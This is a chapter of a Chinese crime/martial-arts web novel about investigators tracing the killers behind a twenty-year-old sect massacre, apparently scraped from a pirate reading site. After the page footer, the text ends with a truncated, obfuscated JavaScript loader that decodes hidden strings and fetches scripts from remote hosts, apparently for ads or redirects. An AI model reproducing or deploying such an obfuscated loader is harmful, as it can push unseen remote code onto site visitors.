首页
第0105章地下三十二秒
返回
关灯 护眼:关 字号:小

第0105章地下三十二秒

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    电话那头沉默了三秒。
    楼明之握着手机,站在楼道口,一动不动。谢依兰看见他的表情,立刻警觉起来,凑到他身边。
    “你在哪儿?”楼明之问。
    周永年的声音沙哑,像砂纸磨过铁皮:“你别管我在哪儿。王德福死了,我知道。下一个可能就是我。”
    “你怎么知道王德福死了?”
    “我看见了。”周永年的声音里带着一丝颤抖,“昨天晚上我就在那栋楼对面。我看见那个人进去,看见他出来。王德福没出来。”
    楼明之的心跳快了一拍。
    “你看见凶手了?”
    “看见了。”周永年说,“但我没看清他的脸。他出来的时候低着头,走得很快。我只看见他左脸上有血痕,三道,新鲜的。”
    楼明之和谢依兰对视一眼。
    三道血痕。和王德福临死前抓的那一下完全吻合。
    “你知道凶手是谁派来的吗?”楼明之问。
    周永年沉默了几秒,忽然笑了。那笑声很难听,像破风箱漏气。
    “派来的?你太天真了。那些人不是‘派来的’,他们就是‘那些人’自己。”
    “什么意思?”
    周永年没有直接回答,而是问:“你知道青霜门为什么会灭门吗?”
    楼明之攥紧手机:“你说。”
    “二十年前那个晚上,我在现场。”周永年的声音变得很低,像是在回忆,又像是在梦呓,“那天晚上下了很大的雨,雷声隆隆的,什么都听不清。我躲在厨房的灶台下面,透过灶门的缝隙往外看。”
    他顿了顿,呼吸变得急促起来。
    “我看见门主和夫人倒在地上。我看见那些人翻箱倒柜找东西。我看见他们把师兄弟一个个拖出去,在外面一刀一刀砍死。我不敢出声,不敢动,就在那儿趴了整整一夜。”
    楼明之没有说话。
    周永年继续说:“第二天早上雨停了,我爬出来。门主和夫人已经凉了。师兄弟们的尸体堆在院子里,被雨泡得发白。我在里面找了很久,没找到青霜剑谱。我知道,那东西被他们拿走了。”
    “他们是谁?”
    周永年没有回答,反而问:“你知道门主临死前做了什么吗?”
    楼明之皱眉。
    周永年说:“他用自己的血,在地上画了一个图案。我看见了,记在心里。那图案很奇怪,不是青霜门的标志,也不是任何武功招式的图谱。它更像……更像一把钥匙。”
    楼明之的脑海里闪过王德福手里那枚铜片上的剑纹。
    “什么样的图案?”
    周永年沉默了几秒,缓缓说:“一把剑。剑身细长,剑尖分叉,像三叉戟。剑柄上刻着两个字——‘青霜’。”
    楼明之的手猛地攥紧了。
    他想起恩师遗留的那枚青铜令牌,上面也有同样的剑纹。只是令牌上的剑纹更大,更完整,剑柄上刻的不是“青霜”,而是另外两个字——
    “龙渊”。
    他把这两个字咽了回去,没有说出口。
    “你现在在哪儿?”他再次问。
    周永年说:“我不能告诉你。那些人还在找我。王德福死了,下一个就是我。我只想求你一件事。”
    “什么事?”
    “找到青霜剑谱。找到那些人。替门主和夫人,替那些师兄弟,讨一个公道。”
    楼明之沉默了两秒,说:“我凭什么信你?”
    周永年又笑了。这次的笑声里,带着一种说不清的东西。
    “你不信我也没关系。但我要告诉你一件事——那个凶手脸上的血痕,三天之内消不掉。你们可以盯着医院、药店、私人诊所,看看有没有人去处理伤口。只要抓住他,就能顺藤摸瓜。”
    电话挂断了。
    楼明之盯着手机屏幕,久久没有说话。
    谢依兰轻声问:“周永年?”
    楼明之点点头,把电话内容简单说了一遍。
    谢依兰听完,眉头紧锁。
    “他说的是真的吗?二十年前他躲在厨房里,亲眼看见那些人杀人?那他为什么现在才出来?”
    楼明之摇摇头。
    “不知道。但他说的那些细节,不是编得出来的。”
    谢依兰想了想,忽然问:“他为什么给你打电话?”
    楼明之看着她。
    “他知道我们在查这件事。也许他一直盯着王德福,看见我们也在盯着。也许……他一直在等有人来查。”
    谢依兰沉默了几秒,说:“如果他是真的,那他现在很危险。凶手知道他看见了。”
    楼明之点点头。
    “所以我们要抢在凶手之前找到他。”
    接下来的三天,两人分头行动。
    楼明之盯着医院和药店,谢依兰则去查周永年的下落。
    第一天,没有任何收获。
    第二天,还是没有。
    第三天下午,谢依兰在档案馆找到了一份老档案。
    “周永年,五十八岁,原镇江轴承厂工人,二十年前辞职,之后去向不明。”她把档案递给楼明之,“但他有个弟弟,叫周永生,现在还住在镇江。”
    楼明之眼睛一亮。
    “在哪儿?”
    谢依兰报了个地址。
    一个小时后,两人站在老城区一条巷子深处。
    这是一栋三层的老式楼房,墙面斑驳,爬满了爬山虎。一楼是家小卖部,老板娘坐在门口打瞌睡。二楼和三楼是住家,窗户都关着,窗帘拉得严严实实。
    周永生住在三楼。
    楼明之和谢依兰上楼,敲了敲门。
    没人应。
    再敲,还是没人。
    楼明之侧耳听了听,里面没有声音。他掏出那根细铁丝,捅进锁眼。
    门开了。
    屋里很暗,窗帘拉着,只有几缕阳光从缝隙里透进来。家具很简单,一张床,一张桌子,一把椅子。桌上放着一个搪瓷杯,杯里的水早就凉了。
    谢依兰走到床边,摸了摸被子。
    “凉的。至少两天没人睡过。”
    楼明之在屋里转了一圈,目光落在墙角的一个柜子上。柜门虚掩着,里面黑漆漆的。
    他走过去,拉开柜门。
    里面蜷着一个人。
    一个中年男人,穿着旧棉袄,蜷缩成一团,双手抱着膝盖,脸埋在膝盖里。
    楼明之伸手探了探他的鼻息。
    还活着。
    他轻轻推了推那个人的肩膀。
    那人猛地抬起头,露出一张惊恐的脸——国字脸,浓眉,眼神涣散,和王德福那张照片上的周师弟有七分像。
    “周永生?”楼明之问。
    那人盯着他,看了好几秒,忽然一把抓住他的胳膊。
    “我哥……我哥在哪儿?”
    楼明之的心一沉。
    “你哥没来找你?”
    周永生摇头,眼眶红了。
    “他三天前给我打电话,说有人要杀他,让我躲起来。我躲在这儿,等他来找我,他一直没来……”
    谢依兰蹲下来,轻声问:“他还说了什么?”
    周永生看着她,忽然浑身发抖。
    “他说……他说那些人又回来了。二十年前那些杀人的,又回来了。他说他看见他们了,他们……他们长得和当年一模一样,一点都没变。”
    楼明之和谢依兰对视一眼。
    “一点都没变”是什么意思?
    周永生继续说:“我不信他。我说你疯了,二十年了人怎么可能不变?他说真的,他真的看见了。他说那个人脸上的疤,和二十年前一模一样,连位置都没变。”
    楼明之的脑海里闪过一个念头。
    脸上的疤。
    凶手脸上是血痕,不是疤。
    但周永年说的是“疤”——这说明什么?说明他看见的不是那个杀王德福的凶手,而是另外一个人。一个二十年前就留下了疤的人。
    “他还说了什么?”楼明之追问。
    周永生想了想,忽然说:“他说了一句话,我不懂什么意思。”
    “什么话?”
    周永生看着他,一字一句说:
    “地下三十二秒。”
    地下三十二秒。
    楼明之把这个词记在心里,然后问:“这是什么意思?”
    周永生摇头:“我不知道。他就说了这一句,然后就挂了电话。”
    楼明之站起身,在屋里走了两圈。
    地下三十二秒。
    是地名?是暗号?还是某种隐喻?
    他掏出手机,给老周打了个电话。
    “老周,帮我查个东西。镇江有没有什么地方叫‘地下三十二秒’?”
    老周在电话那头愣了一下:“地下三十二秒?没听过。听着像是什么暗号。”
    “帮我查查,越快越好。”
    挂了电话,楼明之看向周永生。
    “你跟我们走。这里不安全。”
    周永生犹豫了一下,点点头。
    三人下了楼,上了出租车。
    车刚开出去,楼明之忽然从后视镜里看见一个人影——那个人站在巷子口,穿着黑色夹克,低着头,看不清脸。
    但他的身形,楼明之记得。
    就是那天晚上从王德福屋里出来的那个人。
    “趴下!”楼明之一把按下谢依兰的头,自己也弯下腰。
    司机吓了一跳,下意识踩了刹车。
    “别停!往前开!”楼明之吼道。
    司机一脚油门,车冲了出去。
    楼明之从后视镜里看,那个人影已经不见了。
    谢依兰抬起头,脸色发白。
    “是他?”
    楼明之点点头。
    周永生在后座上瑟瑟发抖,嘴里一直念叨着:“他们来了,他们真的来了……”
    车开出去两条街,确认没有人跟踪,楼明之让司机停在路边,换了另一辆出租车,绕了好几个圈子,才回到住处。
    安顿好周永生,楼明之和谢依兰坐在客厅里,谁都没有说话。
    过了很久,谢依兰开口。
    “地下三十二秒。你觉得是什么意思?”
    楼明之摇摇头。
    “不知道。但周永年既然说了这句话,一定有他的用意。也许是一个地点,也许是一个时间,也许……”
    他忽然停住了。
    谢依兰看着他:“也许什么?”
    楼明之慢慢说:“也许,是地下三十二秒的地方。”
    谢依兰愣了一下,然后眼睛亮了。
    “地下……地下空间?”
    楼明之点头。
    “镇江有没有地下空间?防空洞、地铁、地下商场、地下停车场?”
    谢依兰想了想,说:“有。老城区那边有几个防空洞,是七十年代挖的,后来废弃了。还有几个地下商场,但都不大。最大的地下空间……”
    她顿了顿。
    “是火车站的地下通道。那个通道很长,走一趟正好三十二秒。”
    楼明之猛地站起来。
    “火车站。”
    两人对视一眼,同时冲向门口。
    “你们去哪儿?”周永生在后面喊。
    “你待着别动!”楼明之头也不回。
    二十分钟后,两人站在镇江火车站的站前广场上。
    火车站人很多,来来往往,拖着行李,匆匆忙忙。广播里不断播报着车次信息,声音在广场上空回荡。
    地下通道的入口在广场东侧,通往公交站台和出租车候车区。通道很长,大约五十米,两边是广告灯箱,亮着白惨惨的光。
    楼明之和谢依兰走进通道。
    通道里的人不多,稀稀落落几个,拖着行李箱,脚步匆匆。楼明之放慢脚步,目光扫过每一个人的脸。
    走到通道中间的时候,他的脚步忽然停住了。
    墙上有一块广告牌,是某家银行的理财广告。广告牌下面,蹲着一个人。
    一个老头。
    穿着一件破旧的棉袄,头发花白,乱糟糟的,脸上满是污垢。他低着头,不知道在看什么,一动不动。
    楼明之走过去,在他面前蹲下。
    老头慢慢抬起头。
    那是一张满是皱纹的脸,眼睛浑浊,眼神涣散。但楼明之从那张脸上,看见了和王德福照片上那个年轻人相似的轮廓。
    “周永年?”他轻声问。
    老头的眼睛忽然亮了一下。
    他盯着楼明之,看了好几秒,然后沙哑着嗓子问:“你是谁?”
    “楼明之。”
    老头的嘴角抽动了一下,像是在笑。
    “你来了。”他说,“我以为你不会来。”
    谢依兰也蹲下来,轻声问:“你一直在这儿等?”
    周永年点点头。
    “三天。我就蹲在这儿,等你们来。”他看着楼明之,“那天我给你打电话的时候,就在这个通道里。我看见那个人从对面走过去,脸上的疤还在,和二十年前一模一样。我吓得手机差点掉在地上。”
    楼明之问:“那个人是谁?”
    周永年没有直接回答,而是从怀里掏出一个东西,塞进楼明之手里。
    是一个日记本,很旧,封面都磨破了。
    “这是我二十年前记的。那天晚上的事,那些人的长相,他们的对话,能记的我都记了。”他的声音越来越弱,“他们找不到我,因为我一直躲在这儿。这儿人多,他们不敢动手。可我老了,撑不住了……”
    谢依兰扶住他:“我们先离开这儿。”
    周永年摇头。
    “不用了。我等你们来,就是为了把这个交给你们。”他看着楼明之,“那帮人,不是什么江湖人,也不是什么黑社会。他们是……”
    话没说完,他的身体忽然一僵。
    楼明之低头一看——他的胸口,多了一把刀柄。
    血从刀口涌出来,瞬间染红了他的棉袄。
    “周永年!”楼明之抱住他。
    周永年的嘴张了张,想说什么,却只能发出咯咯的声音。他用尽最后的力气,伸出手,指着通道的另一个方向。
    那边,一个人影正快步消失在出口处。
    黑色的夹克,低着头。
    谢依兰想追,被楼明之一把拉住。
    “别追。他跑不了。”
    周永年的手垂了下去,眼睛还睁着,盯着通道顶上的灯。
    那灯白惨惨的,照在他脸上,把他最后的眼神定格成一个永恒的疑问。
    楼明之合上他的眼睛,把那本日记装进口袋。
    通道里有人尖叫,有人打电话报警,有人跑过来看热闹。楼明之和谢依兰被人群挤到一边,看着那些陌生的面孔在他们面前晃动。
    警察来了。救护车来了。尸体被抬走了。
    楼明之和谢依兰被带到派出所做笔录。他们编了一个合理的借口——在火车站等人,看见一个老人倒下,过去帮忙,什么都没看清。
    警察信了。
    从派出所出来,已经是晚上。
    两人走在街上,谁都没有说话。
    街边的路灯亮了,把他们的影子拉得很长。
    谢依兰忽然停下脚步。
    “楼明之。”
    楼明之回头看着她。
    谢依兰的眼眶有些红,但没有哭。
    “他就在我们眼前死了。那个人,就在我们眼前,杀了他。”
    楼明之走回去,站在她面前。
    “我知道。”
    “我们明明可以抓住他的。我差一点就追上了。”
    楼明之摇摇头。
    “追不上。他杀人的手法太快,太利落。就算你追上去,也不是他的对手。”
    谢依兰低下头,没有说话。
    楼明之看着她,忽然说:“谢依兰,干我们这行,有时候就是这样。你拼尽全力,还是救不了想救的人。但你不能停下来。停下来,那些人就白死了。”
    谢依兰抬起头,看着他。
    “你以前也这样?”
    楼明之点点头。
    “很多次。”
    谢依兰深吸一口气,把那点酸涩压下去。
    “走吧。回去看那本日记。”
    回到住处,周永生还蜷在沙发上,看见他们进来,立刻坐起来。
    “我哥呢?”
    楼明之沉默了两秒,说:“他死了。”
    周永生愣住了。
    他张了张嘴,想说什么,却什么都说不出来。眼泪从他脸上流下来,他伸手去擦,却越擦越多。
    谢依兰走过去,坐在他旁边,轻轻拍了拍他的背。
    周永生忽然抓住她的胳膊。
    “谁杀的他?那些人是谁?他们为什么要杀我哥?”
    谢依兰看着他,不知道怎么回答。
    楼明之走过来,把那本日记递给他。
    “这是你哥留给你的。”
    周永生接过日记,翻开第一页,看见上面的字,忽然嚎啕大哭。
    那哭声在屋里回荡,像一只受伤的野兽。
    楼明之和谢依兰没有打扰他,只是静静坐在旁边,等他哭完。
    过了很久,周永生终于停下来。
    他擦干眼泪,看着楼明之。
    “楼队长,我想求你一件事。”
    楼明之点头。
    “你说。”
    周永生攥紧那本日记,一字一句说:
    “帮我哥报仇。”
    楼明之沉默了几秒,然后缓缓点头。
    “好。”
    夜深了。
    楼明之坐在桌前,翻开那本日记。
    日记很厚,密密麻麻写满了字。前面的部分是一些日常记录,琐碎而平淡。翻到后面,字迹开始变得潦草,纸张也有些发黄发脆。
    楼明之翻到二十年前那一天的记录。
    “七月十五日,大雨。”
    “晚上十点,有人敲门。是陌生人,说是迷路了,想借电话。门主开了门,他们冲进来,有七八个人,都拿着刀。”
    “门主和夫人被砍倒在地上。师兄弟们想跑,被堵在院子里。我躲在厨房灶台下面,透过灶门看。”
    “他们在找东西。翻箱倒柜地找。有人喊:‘剑谱呢?剑谱在哪儿?’没人回答。门主已经说不出话了。”
    “后来他们找到了一个暗格,从里面拿出一个木匣子。打开,里面是空的。”
    “‘空的?’那个人说,‘怎么可能空的?’”
    “另一个人说:‘有人提前拿走了。’”
    “第一个人很生气,一刀砍在门主身上。门主已经死了,刀砍下去,没有反应。”
    “他们搜遍了整个青霜门,什么都没找到。最后他们走了,走之前放了一把火。”
    “我从灶台下面爬出来,火已经烧起来了。我把师兄弟们拖出来,放在院子里。门主和夫人也拖出来。他们都死了。”
    “我跪在雨里,哭了很久。”
    后面还有几行,字迹更潦草,像是后来补上去的。
    “那几个人,我记住了他们的脸。尤其是那个领头的,左脸上有一道疤,从眼角到嘴角,像一条蜈蚣。”
    “二十年了,我以为他们死了,或者老得认不出来了。可是那天,我又看见他了。在火车站地下通道里,他从我身边走过去,脸上的疤还在,和当年一模一样。”
    “我吓坏了。他怎么会一点都没变?怎么可能?”
    “后来我才知道,那不是他。那是他的儿子。他儿子和他长得一模一样,连那道疤的位置都一样。”
    “他们是家族生意。代代相传。”
    楼明之的手微微发抖。
    他继续往下翻。
    最后一页,只有一行字——
    “地下三十二秒。那里有他们的人。”
    楼明之合上日记,靠在椅背上,闭上眼睛。
    谢依兰走过来,轻声问:“发现了什么?”
    楼明之把日记递给她。
    谢依兰接过去,一页一页翻看。看到最后一页,她的脸色也变了。
    “家族生意……代代相传……”
    楼明之睁开眼,看着她。
    “谢依兰,我们遇到的不只是一个杀手,是一个组织。一个存在了至少两代人的组织。”
    谢依兰攥紧日记。
    “地下三十二秒。周永年临死前指的那个方向,是通道的另一个出口。那个出口外面,是什么地方?”
    楼明之想了想,说:“公交站台,出租车候车区,还有一个……地下停车场。”
    “地下停车场?”
    楼明之忽然站起来。
    “如果地下三十二秒不是指通道的通行时间,而是指停车场的某个位置呢?三十二秒车位,三十二号车位?”
    谢依兰眼睛一亮。
    “明天一早我们去查。”
    第二天上午,两人再次来到火车站地下停车场。
    停车场很大,分上下两层,密密麻麻停满了车。楼明之找到车位编号,从一号开始,一直往里走。
    走到三十二号车位的时候,他停下了脚步。
    三十二号车位在最角落,光线很暗,只有一盏日光灯在头顶闪烁。车位上停着一辆黑色的商务车,车窗贴了膜,看不见里面。
    楼明之绕着车走了一圈,蹲下来,看了看车牌。
    是外地牌照。临时的。
    他掏出手机,装作打电话的样子,对着车牌拍了张照片。
    就在这时,商务车的车门忽然开了。
    一个人从车上下来,穿着黑色夹克,低着头。
    楼明之的心猛地一紧。
    那个人抬起头,露出一张脸——国字脸,四十出头,左脸颊上有三道新鲜的疤痕,已经结了痂。
    正是那天晚上从王德福屋里出来的那个人。
    两人对视了一秒。
    那个人转身就跑。
    楼明之追上去,谢依兰也从另一边包抄过来。
    三个人在停车场里追逐,脚步声在空旷的地下空间里回荡。那个人跑得很快,对地形很熟,七拐八绕,把楼明之甩开一段距离。
    他冲向出口,眼看就要跑出去——
    一个人影突然从旁边冲出来,一脚踹在他膝弯上。
    那人猝不及防,扑倒在地。
    踹他的人是个中年男人,穿着一件旧皮夹克,头发乱糟糟的,脸上带着疲惫的笑容。
    “楼明之,好久不见。”
    楼明之愣住了。
    “老周?”
    老周嘿嘿一笑,一脚踩住那个人的后背,让他动弹不得。
    “你小子不地道,查案不叫我。”
    楼明之走过去,蹲下来,看着那个人的脸。
    那个人瞪着他,眼神冷得像冰。
    “你是谁派来的?”楼明之问。
    那个人不说话。
    楼明之忽然笑了。
    “不说?没关系。你脸上的疤,就是最好的身份证。我查过你们这种‘家族生意’。你们有个规矩,一代传一代,疤的位置都一样。你爸呢?你爷爷呢?他们都杀过多少人?”
    那个人的脸色终于变了。
    他张了张嘴,想说什么,忽然——
    他的身体猛地一僵。
    楼明之低头一看,他的脖子上,多了一根细针。
    针很细,像头发丝一样,扎在颈动脉上。
    那个人瞪大眼睛,嘴唇动了动,却发不出声音。他的身体软了下去,眼睛还睁着,盯着停车场的顶棚。
    老周蹲下来,探了探他的鼻息。
    “死了。***。”
    楼明之站起身,四下张望。
    停车场的角落里,一个人影一闪而过。
    谢依兰已经追了上去。
    “别追!”楼明之喊道。
    但谢依兰已经消失在拐角处。
    楼明之追过去,只看见谢依兰站在空荡荡的通道里,四下张望。
    “不见了。”她说,喘着气,“太快了。”
    老周走过来,拍拍楼明之的肩膀。
    “走吧。待会儿警察来了,解释不清。”
    三人离开停车场,消失在人群中。
    身后,那具尸体躺在三十二号车位旁边,眼睛还睁着,望着头顶那盏闪烁的日光灯。
    灯管发出滋滋的电流声,像一只看不见的手,在拨弄着某种古老的琴弦。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 